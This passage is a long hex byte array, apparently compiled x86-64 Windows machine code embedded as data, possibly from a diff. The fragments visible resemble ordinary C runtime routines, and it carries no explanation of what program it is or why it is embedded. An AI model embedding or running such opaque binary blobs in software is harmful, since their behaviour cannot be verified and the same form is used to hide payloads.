0xaf, 0xb1, 0xff, 0xff, 0x8d, 0x47, 0x01, 0x33, 0xdb, 0x3d, 0x00, + 0x01, 0x00, 0x00, 0x77, 0x0d, 0x48, 0x8b, 0x45, 0xd0, 0x48, 0x8b, 0x08, + 0x0f, 0xb7, 0x04, 0x79, 0xeb, 0x7f, 0x48, 0x8b, 0x55, 0xd0, 0x8b, 0xc7, + 0xc1, 0xf8, 0x08, 0x41, 0xba, 0x01, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xc8, + 0x48, 0x8b, 0x02, 0x66, 0x39, 0x1c, 0x48, 0x7d, 0x10, 0x88, 0x4d, 0xc0, + 0x45, 0x8d, 0x4a, 0x01, 0x40, 0x88, 0x7d, 0xc1, 0x88, 0x5d, 0xc2, 0xeb, + 0x0a, 0x40, 0x88, 0x7d, 0xc0, 0x45, 0x8b, 0xca, 0x88, 0x5d, 0xc1, 0x33, + 0xc0, 0x44, 0x89, 0x54, 0x24, 0x30, 0x89, 0x45, 0xe8, 0x4c, 0x8d, 0x45, + 0xc0, 0x66, 0x89, 0x45, 0xec, 0x48, 0x8d, 0x4d, 0xd0, 0x8b, 0x42, 0x0c, + 0x41, 0x8b, 0xd2, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x45, 0xe8, 0x48, + 0x89, 0x44, 0x24, 0x20, 0xe8, 0x33, 0x46, 0x00, 0x00, 0x85, 0xc0, 0x75, + 0x14, 0x38, 0x5d, 0xe0, 0x74, 0x0b, 0x48, 0x8b, 0x45, 0xc8, 0x83, 0xa0, + 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x33, 0xc0, 0xeb, 0x16, 0x0f, 0xb7, 0x45, + 0xe8, 0x23, 0xc6, 0x38, 0x5d, 0xe0, 0x74, 0x0b, 0x48, 0x8b, 0x4d, 0xc8, + 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x4d, 0xf0, 0x48, + 0x33, 0xcc, 0xe8, 0x41, 0x8b, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x80, + 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, + 0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x33, 0xdb, 0x48, 0x8d, 0x15, 0xa9, 0x5b, 0x01, 0x00, 0x45, + 0x33, 0xc0, 0x48, 0x8d, 0x0c, 0x9b, 0x48, 0x8d, 0x0c, 0xca, 0xba, 0xa0, + 0x0f, 0x00, 0x00, 0xe8, 0x9c, 0xfc, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x11, + 0xff, 0x05, 0xba, 0x5d, 0x01, 0x00, 0xff, 0xc3, 0x83, 0xfb, 0x0e, 0x72, + 0xd3, 0xb0, 0x01, 0xeb, 0x09, 0x33, 0xc9, 0xe8, 0x24, 0x00, 0x00, 0x00, + 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x63, 0xc1, 0x48, + 0x8d, 0x0c, 0x80, 0x48, 0x8d, 0x05, 0x62, 0x5b, 0x01, 0x00, 0x48, 0x8d, + 0x0c, 0xc8, 0x48, 0xff, 0x25, 0xa7, 0x92, 0x00, 0x00, 0xcc, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x1d, 0x78, 0x5d, 0x01, 0x00, + 0xeb, 0x1d, 0x48, 0x8d, 0x05, 0x3f, 0x5b, 0x01, 0x00, 0xff, 0xcb, 0x48, + 0x8d, 0x0c, 0x9b, 0x48, 0x8d, 0x0c, 0xc8, 0xff, 0x15, 0x8f, 0x92, 0x00, + 0x00, 0xff, 0x0d, 0x59, 0x5d, 0x01, 0x00, 0x85, 0xdb, 0x75, 0xdf, 0xb0, + 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0x48, 0x63, 0xc1, 0x48, + 0x8d, 0x0c, 0x80, 0x48, 0x8d, 0x05, 0x0e, 0x5b, 0x01, 0x00, 0x48, 0x8d, + 0x0c, 0xc8, 0x48, 0xff, 0x25, 0x5b, 0x92, 0x00, 0x00, 0xcc, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x33, 0xdb, 0x89, 0x5c, 0x24, 0x30, + 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x48, + 0x20, 0x39, 0x59, 0x08, 0x7c, 0x11, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, + 0x28, 0xfa, 0xff, 0xff, 0x83, 0x7c, 0x24, 0x30, 0x01, 0x74, 0x05, 0xbb, + 0x01, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xd9, + 0x48, 0x85, 0xc9, 0x74, 0x0e, 0x33, 0xd2, 0x48, 0x8d, 0x42, 0xe0, 0x48, + 0xf7, 0xf3, 0x49, 0x3b, 0xc0, 0x72, 0x43, 0x49, 0x0f, 0xaf, 0xd8, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x48, 0x0f, 0x44, 0xd8, 0xeb, + 0x15, 0xe8, 0x5a, 0x25, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x28, 0x48, 0x8b, + 0xcb, 0xe8, 0xd6, 0x1a, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x1c, 0x48, 0x8b, + 0x0d, 0xff, 0x5c, 0x01, 0x00, 0x4c, 0x8b, 0xc3, 0xba, 0x08, 0x00, 0x00, + 0x00, 0xff, 0x15, 0x39, 0x92, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0xd1, + 0xeb, 0x0d, 0xe8, 0xf9, 0xdd, 0xff, 0xff, 0xc7, 0x00, 0x0c, 0x00, 0x00, + 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x3b, 0xca, 0x73, 0x04, 0x83, 0xc8, 0xff, 0xc3, 0x33, 0xc0, 0x48, + 0x3b, 0xca, 0x0f, 0x97, 0xc0, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x30, 0x33, 0xdb, 0x41, + 0x8b, 0xe8, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0x48, 0x85, 0xc9, 0x75, + 0x22, 0x38, 0x5a, 0x28, 0x74, 0x0c, 0x48, 0x8b, 0x4a, 0x10, 0xe8, 0xbd, + 0xdd, 0xff, 0xff, 0x88, 0x5f, 0x28, 0x48, 0x89, 0x5f, 0x10, 0x48, 0x89, + 0x5f, 0x18, 0x48, 0x89, 0x5f, 0x20, 0xe9, 0x0e, 0x01, 0x00, 0x00, 0x38, + 0x19, 0x75, 0x55, 0x48, 0x39, 0x5a, 0x18, 0x75, 0x46, 0x38, 0x5a, 0x28, + 0x74, 0x0c, 0x48, 0x8b, 0x4a, 0x10, 0xe8, 0x91, 0xdd, 0xff, 0xff, 0x88, + 0x5f, 0x28, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xe8, 0xc4, 0xdd, 0xff, 0xff, + 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0x48, 0xf7, 0xd8, 0x1b, 0xd2, + 0xf7, 0xd2, 0x83, 0xe2, 0x0c, 0x0f, 0x94, 0xc1, 0x85, 0xd2, 0x0f, 0x94, + 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, 0x18, 0x85, 0xd2, 0x74, 0x07, + 0x8b, 0xda, 0xe9, 0xbe, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x47, 0x10, 0x66, + 0x89, 0x18, 0xeb, 0x9e, 0x41, 0x83, 0xc9, 0xff, 0x89, 0x5c, 0x24, 0x28, + 0x4c, 0x8b, 0xc6, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x8b, 0xcd, 0x41, 0x8d, + 0x51, 0x0a, 0xe8, 0x39, 0x16, 0x00, 0x00, 0x4c, 0x63, 0xf0, 0x85, 0xc0, + 0x75, 0x16, 0xff, 0x15, 0xac, 0x90, 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0x91, + 0xdc, 0xff, 0xff, 0xe8, 0xfc, 0xdc, 0xff, 0xff, 0x8b, 0x18, 0xeb, 0x7d, + 0x48, 0x8b, 0x4f, 0x18, 0x4c, 0x3b, 0xf1, 0x76, 0x43, 0x38, 0x5f, 0x28, + 0x74, 0x0c, 0x48, 0x8b, 0x4f, 0x10, 0xe8, 0x01, 0xdd, 0xff, 0xff, 0x88, + 0x5f, 0x28, 0x4b, 0x8d, 0x0c, 0x36, 0xe8, 0x35, 0xdd, 0xff, 0xff, 0x48, + 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0x48, 0xf7, 0xd8, 0x1b, 0xd2, 0xf7, + 0xd2, 0x83, 0xe2, 0x0c, 0x49, 0x0f, 0x44, 0xce, 0x85, 0xd2, 0x0f, 0x94, + 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, 0x18, 0x85, 0xd2, 0x0f, 0x85, + 0x6c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x47, 0x10, 0x41, 0x83, 0xc9, 0xff, + 0x89, 0x4c, 0x24, 0x28, 0x4c, 0x8b, 0xc6, 0x8b, 0xcd, 0x48, 0x89, 0x44, + 0x24, 0x20, 0x41, 0x8d, 0x51, 0x0a, 0xe8, 0xb1, 0x15, 0x00, 0x00, 0x48, + 0x63, 0xc8, 0x85, 0xc0, 0x0f, 0x84, 0x74, 0xff, 0xff, 0xff, 0x48, 0xff, + 0xc9, 0x48, 0x89, 0x4f, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x8b, 0xc3, + 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, + 0x7c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, + 0x40, 0x33, 0xdb, 0x45, 0x8b, 0xf0, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, + 0x48, 0x85, 0xc9, 0x75, 0x22, 0x38, 0x5a, 0x28, 0x74, 0x0c, 0x48, 0x8b, + 0x4a, 0x10, 0xe8, 0x45, 0xdc, 0xff, 0xff, 0x88, 0x5f, 0x28, 0x48, 0x89, + 0x5f, 0x10, 0x48, 0x89, 0x5f, 0x18, 0x48, 0x89, 0x5f, 0x20, 0xe9, 0x22, + 0x01, 0x00, 0x00, 0x66, 0x39, 0x19, 0x75, 0x54, 0x48, 0x39, 0x5a, 0x18, + 0x75, 0x46, 0x38, 0x5a, 0x28, 0x74, 0x0c, 0x48, 0x8b, 0x4a, 0x10, 0xe8, + 0x18, 0xdc, 0xff, 0xff, 0x88, 0x5f, 0x28, 0xb9, 0x01, 0x00, 0x00, 0x00, + 0xe8, 0x4b, 0xdc, 0xff, 0xff, 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, + 0x48, 0xf7, 0xd8, 0x1b, 0xd2, 0xf7, 0xd2, 0x83, 0xe2, 0x0c, 0x0f, 0x94, + 0xc1, 0x85, 0xd2, 0x0f, 0x94, 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, + 0x18, 0x85, 0xd2, 0x74, 0x07, 0x8b, 0xda, 0xe9, 0xd1, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x47, 0x10, 0x88, 0x18, 0xeb, 0x9e, 0x48, 0x89, 0x5c, 0x24, + 0x38, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x30, 0x4c, 0x8b, + 0xc6, 0x89, 0x5c, 0x24, 0x28, 0x33, 0xd2, 0x41, 0x8b, 0xce, 0x48, 0x89, + 0x5c, 0x24, 0x20, 0xe8, 0x14, 0x15, 0x00, 0x00, 0x48, 0x63, 0xe8, 0x85, + 0xc0, 0x75, 0x19, 0xff, 0x15, 0x2b, 0x8f, 0x00, 0x00, 0x8b, 0xc8, 0xe8, + 0x10, 0xdb, 0xff, 0xff, 0xe8, 0x7b, 0xdb, 0xff, 0xff, 0x8b, 0x18, 0xe9, + 0x85, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x3b, 0xe9, 0x76, + 0x42, 0x38, 0x5f, 0x28, 0x74, 0x0c, 0x48, 0x8b, 0x4f, 0x10, 0xe8, 0x7d, + 0xdb, 0xff, 0xff, 0x88, 0x5f, 0x28, 0x48, 0x8b, 0xcd, 0xe8, 0xb2, 0xdb, + 0xff, 0xff, 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0x48, 0xf7, 0xd8, + 0x1b, 0xd2, 0xf7, 0xd2, 0x83, 0xe2, 0x0c, 0x48, 0x0f, 0x44, 0xcd, 0x85, + 0xd2, 0x0f, 0x94, 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, 0x18, 0x85, + 0xd2, 0x0f, 0x85, 0x62, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x47, 0x10, 0x41, + 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x4c, 0x8b, 0xc6, 0x48, + 0x89, 0x5c, 0x24, 0x30, 0x33, 0xd2, 0x89, 0x4c, 0x24, 0x28, 0x41, 0x8b, + 0xce, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x81, 0x14, 0x00, 0x00, 0x48, + 0x63, 0xc8, 0x85, 0xc0, 0x0f, 0x84, 0x69, 0xff, 0xff, 0xff, 0x48, 0xff, + 0xc9, 0x48, 0x89, 0x4f, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x8b, 0xc3, + 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x8b, + 0x7c, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x54, 0x24, 0x10, 0x55, 0x56, + 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xec, + 0x48, 0x83, 0xec, 0x60, 0x33, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xd2, + 0x75, 0x16, 0xe8, 0xa5, 0xda, 0xff, 0xff, 0x8d, 0x5f, 0x16, 0x89, 0x18, + 0xe8, 0x7b, 0xd9, 0xff, 0xff, 0x8b, 0xc3, 0xe9, 0xa0, 0x01, 0x00, 0x00, + 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x3a, 0x48, 0x8b, 0x01, 0xf3, 0x0f, 0x7f, + 0x45, 0xe0, 0x48, 0x89, 0x7d, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x56, 0x48, + 0x8d, 0x55, 0x50, 0x66, 0xc7, 0x45, 0x50, 0x2a, 0x3f, 0x48, 0x8b, 0xc8, + 0x40, 0x88, 0x7d, 0x52, 0xe8, 0x7b, 0x4b, 0x00, 0x00, 0x48, 0x8b, 0x0b, + 0x48, 0x85, 0xc0, 0x75, 0x10, 0x4c, 0x8d, 0x4d, 0xe0, 0x45, 0x33, 0xc0, + 0x33, 0xd2, 0xe8, 0x8d, 0x01, 0x00, 0x00, 0xeb, 0x0c, 0x4c, 0x8d, 0x45, + 0xe0, 0x48, 0x8b, 0xd0, 0xe8, 0x07, 0x03, 0x00, 0x00, 0x8b, 0xf0, 0x85, + 0xc0, 0x75, 0x09, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x8b, 0x03, 0xeb, 0xb2, + 0x4c, 0x8b, 0x65, 0xe8, 0x4c, 0x8b, 0x7d, 0xe0, 0xe9, 0xf8, 0x00, 0x00, + 0x00, 0x4c, 0x8b, 0x7d, 0xe0, 0x4c, 0x8b, 0xcf, 0x4c, 0x8b, 0x65, 0xe8, + 0x49, 0x8b, 0xd7, 0x49, 0x8b, 0xc4, 0x48, 0x89, 0x7d, 0x50, 0x49, 0x2b, + 0xc7, 0x4c, 0x8b, 0xc7, 0x4c, 0x8b, 0xf0, 0x49, 0xc1, 0xfe, 0x03, 0x49, + 0xff, 0xc6, 0x48, 0x8d, 0x48, 0x07, 0x48, 0xc1, 0xe9, 0x03, 0x4d, 0x3b, + 0xfc, 0x48, 0x0f, 0x47, 0xcf, 0x48, 0x83, 0xce, 0xff, 0x48, 0x85, 0xc9, + 0x74, 0x25, 0x4c, 0x8b, 0x12, 0x48, 0x8b, 0xc6, 0x48, 0xff, 0xc0, 0x41, + 0x38, 0x3c, 0x02, 0x75, 0xf7, 0x49, 0xff, 0xc1, 0x48, 0x83, 0xc2, 0x08, + 0x4c, 0x03, 0xc8, 0x49, 0xff, 0xc0, 0x4c, 0x3b, 0xc1, 0x75, 0xdf, 0x4c, + 0x89, 0x4d, 0x50, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd1, + 0x49, 0x8b, 0xce, 0xe8, 0xf8, 0xc6, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, + 0x85, 0xc0, 0x74, 0x76, 0x4a, 0x8d, 0x14, 0xf0, 0x4d, 0x8b, 0xf7, 0x48, + 0x89, 0x55, 0xd8, 0x48, 0x8b, 0xc2, 0x48, 0x89, 0x55, 0x58, 0x4d, 0x3b, + 0xfc, 0x74, 0x56, 0x48, 0x8b, 0xcb, 0x49, 0x2b, 0xcf, 0x48, 0x89, 0x4d, + 0xd0, 0x4d, 0x8b, 0x06, 0x4c, 0x8b, 0xee, 0x49, 0xff, 0xc5, 0x43, 0x38, + 0x3c, 0x28, 0x75, 0xf7, 0x48, 0x2b, 0xd0, 0x49, 0xff, 0xc5, 0x48, 0x03, + 0x55, 0x50, 0x4d, 0x8b, 0xcd, 0x48, 0x8b, 0xc8, 0xe8, 0xfb, 0x48, 0x00, + 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x83, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, + 0x58, 0x48, 0x8b, 0x4d, 0xd0, 0x48, 0x8b, 0x55, 0xd8, 0x4a, 0x89, 0x04, + 0x31, 0x49, 0x03, 0xc5, 0x49, 0x83, 0xc6, 0x08, 0x48, 0x89, 0x45, 0x58, + 0x4d, 0x3b, 0xf4, 0x75, 0xb4, 0x48, 0x8b, 0x45, 0x48, 0x8b, 0xf7, 0x48, + 0x89, 0x18, 0x33, 0xc9, 0xe8, 0x4f, 0xd9, 0xff, 0xff, 0x49, 0x8b, 0xdc, + 0x4d, 0x8b, 0xf7, 0x49, 0x2b, 0xdf, 0x48, 0x83, 0xc3, 0x07, 0x48, 0xc1, + 0xeb, 0x03, 0x4d, 0x3b, 0xfc, 0x48, 0x0f, 0x47, 0xdf, 0x48, 0x85, 0xdb, + 0x74, 0x14, 0x49, 0x8b, 0x0e, 0xe8, 0x2a, 0xd9, 0xff, 0xff, 0x48, 0xff, + 0xc7, 0x4d, 0x8d, 0x76, 0x08, 0x48, 0x3b, 0xfb, 0x75, 0xec, 0x49, 0x8b, + 0xcf, 0xe8, 0x16, 0xd9, 0xff, 0xff, 0x8b, 0xc6, 0x48, 0x8b, 0x9c, 0x24, + 0xa0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x60, 0x41, 0x5f, 0x41, 0x5e, + 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x45, 0x33, 0xc9, 0x48, + 0x89, 0x7c, 0x24, 0x20, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, + 0xc8, 0xd7, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, + 0x48, 0x83, 0xcd, 0xff, 0x49, 0x8b, 0xf9, 0x33, 0xf6, 0x4d, 0x8b, 0xf0, + 0x4c, 0x8b, 0xea, 0x4c, 0x8b, 0xe1, 0x48, 0xff, 0xc5, 0x40, 0x38, 0x34, + 0x29, 0x75, 0xf7, 0xba, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xc6, 0x48, + 0x03, 0xea, 0x48, 0xf7, 0xd0, 0x48, 0x3b, 0xe8, 0x76, 0x20, 0x8d, 0x42, + 0x0b, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, + 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, + 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0x4d, 0x8d, 0x78, 0x01, 0x4c, 0x03, + 0xfd, 0x49, 0x8b, 0xcf, 0xe8, 0xeb, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xd8, + 0x4d, 0x85, 0xf6, 0x74, 0x19, 0x4d, 0x8b, 0xce, 0x4d, 0x8b, 0xc5, 0x49, + 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xe8, 0xc6, 0x47, 0x00, 0x00, 0x85, 0xc0, + 0x0f, 0x85, 0xd8, 0x00, 0x00, 0x00, 0x4d, 0x2b, 0xfe, 0x4a, 0x8d, 0x0c, + 0x33, 0x49, 0x8b, 0xd7, 0x4c, 0x8b, 0xcd, 0x4d, 0x8b, 0xc4, 0xe8, 0xa9, + 0x47, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xbb, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x4f, 0x08, 0x44, 0x8d, 0x78, 0x08, 0x4c, 0x8b, 0x77, 0x10, 0x49, + 0x3b, 0xce, 0x0f, 0x85, 0x9d, 0x00, 0x00, 0x00, 0x48, 0x39, 0x37, 0x75, + 0x2b, 0x41, 0x8b, 0xd7, 0x8d, 0x48, 0x04, 0xe8, 0x88, 0xf9, 0xff, 0xff, + 0x33, 0xc9, 0x48, 0x89, 0x07, 0xe8, 0xfe, 0xd7, 0xff, 0xff, 0x48, 0x8b, + 0x0f, 0x48, 0x85, 0xc9, 0x74, 0x42, 0x48, 0x8d, 0x41, 0x20, 0x48, 0x89, + 0x4f, 0x08, 0x48, 0x89, 0x47, 0x10, 0xeb, 0x6d, 0x4c, 0x2b, 0x37, 0x48, + 0xb8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x49, 0xc1, 0xfe, + 0x03, 0x4c, 0x3b, 0xf0, 0x77, 0x1e, 0x48, 0x8b, 0x0f, 0x4b, 0x8d, 0x2c, + 0x36, 0x48, 0x8b, 0xd5, 0x4d, 0x8b, 0xc7, 0xe8, 0xd4, 0x12, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x75, 0x22, 0x33, 0xc9, 0xe8, 0xb4, 0xd7, 0xff, 0xff, + 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xd7, 0xff, 0xff, 0xbe, 0x0c, 0x00, 0x00, + 0x00, 0x33, 0xc9, 0xe8, 0xa0, 0xd7, 0xff, 0xff, 0x8b, 0xc6, 0xe9, 0x02, + 0xff, 0xff, 0xff, 0x4a, 0x8d, 0x0c, 0xf0, 0x48, 0x89, 0x07, 0x48, 0x89, + 0x4f, 0x08, 0x48, 0x8d, 0x0c, 0xe8, 0x48, 0x89, 0x4f, 0x10, 0x33, 0xc9, + 0xe8, 0x7f, 0xd7, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x08, 0x48, 0x89, 0x19, + 0x4c, 0x01, 0x7f, 0x08, 0xeb, 0xcb, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x3e, 0xd6, + 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x56, 0x57, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, + 0xd0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x30, 0x03, 0x00, 0x00, 0x48, + 0x8b, 0x05, 0x72, 0x39, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, + 0x20, 0x02, 0x00, 0x00, 0x4d, 0x8b, 0xe0, 0x48, 0x8b, 0xf1, 0x48, 0xbb, + 0x01, 0x08, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x48, 0x3b, 0xd1, 0x74, + 0x22, 0x8a, 0x02, 0x2c, 0x2f, 0x3c, 0x2d, 0x77, 0x0a, 0x48, 0x0f, 0xbe, + 0xc0, 0x48, 0x0f, 0xa3, 0xc3, 0x72, 0x10, 0x48, 0x8b, 0xce, 0xe8, 0xb9, + 0x4b, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x3b, 0xc6, 0x75, 0xde, 0x44, + 0x8a, 0x02, 0x41, 0x80, 0xf8, 0x3a, 0x75, 0x1e, 0x48, 0x8d, 0x46, 0x01, + 0x48, 0x3b, 0xd0, 0x74, 0x15, 0x4d, 0x8b, 0xcc, 0x45, 0x33, 0xc0, 0x33, + 0xd2, 0x48, 0x8b, 0xce, 0xe8, 0xef, 0xfd, 0xff, 0xff, 0xe9, 0x56, 0x02, + 0x00, 0x00, 0x41, 0x80, 0xe8, 0x2f, 0x33, 0xff, 0x41, 0x80, 0xf8, 0x2d, + 0x77, 0x0c, 0x49, 0x0f, 0xbe, 0xc0, 0x48, 0x0f, 0xa3, 0xc3, 0xb0, 0x01, + 0x72, 0x03, 0x40, 0x8a, 0xc7, 0x48, 0x2b, 0xd6, 0x48, 0x89, 0x7d, 0xa0, + 0x48, 0xff, 0xc2, 0x48, 0x89, 0x7d, 0xa8, 0xf6, 0xd8, 0x48, 0x89, 0x7d, + 0xb0, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x7d, 0xb8, 0x4d, 0x1b, + 0xed, 0x48, 0x89, 0x7d, 0xc0, 0x4c, 0x23, 0xea, 0x40, 0x88, 0x7d, 0xc8, + 0x33, 0xd2, 0xe8, 0xed, 0xa7, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x38, + 0x41, 0xbf, 0xe9, 0xfd, 0x00, 0x00, 0x44, 0x39, 0x78, 0x0c, 0x75, 0x18, + 0x40, 0x38, 0x7c, 0x24, 0x48, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, + 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x45, 0x8b, 0xc7, 0xeb, 0x3a, + 0xe8, 0x37, 0xf2, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x1b, 0x40, 0x38, 0x7c, + 0x24, 0x48, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0xa0, 0xa8, + 0x03, 0x00, 0x00, 0xfd, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x16, + 0x40, 0x38, 0x7c, 0x24, 0x48, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, + 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x44, 0x8b, 0xc7, 0x48, 0x8d, + 0x55, 0xa0, 0x48, 0x8b, 0xce, 0xe8, 0x1e, 0xf8, 0xff, 0xff, 0x48, 0x8b, + 0x4d, 0xb0, 0x4c, 0x8d, 0x45, 0xd0, 0x85, 0xc0, 0x89, 0x7c, 0x24, 0x28, + 0x48, 0x89, 0x7c, 0x24, 0x20, 0x48, 0x0f, 0x45, 0xcf, 0x45, 0x33, 0xc9, + 0x33, 0xd2, 0xff, 0x15, 0x2c, 0x8a, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, + 0x83, 0xf8, 0xff, 0x75, 0x17, 0x4d, 0x8b, 0xcc, 0x45, 0x33, 0xc0, 0x33, + 0xd2, 0x48, 0x8b, 0xce, 0xe8, 0xf3, 0xfc, 0xff, 0xff, 0x8b, 0xf8, 0xe9, + 0x47, 0x01, 0x00, 0x00, 0x4d, 0x8b, 0x74, 0x24, 0x08, 0x4d, 0x2b, 0x34, + 0x24, 0x49, 0xc1, 0xfe, 0x03, 0x33, 0xd2, 0x48, 0x89, 0x7c, 0x24, 0x70, + 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x7c, 0x24, 0x78, 0x48, 0x89, + 0x7d, 0x80, 0x48, 0x89, 0x7d, 0x88, 0x48, 0x89, 0x7d, 0x90, 0x40, 0x88, + 0x7d, 0x98, 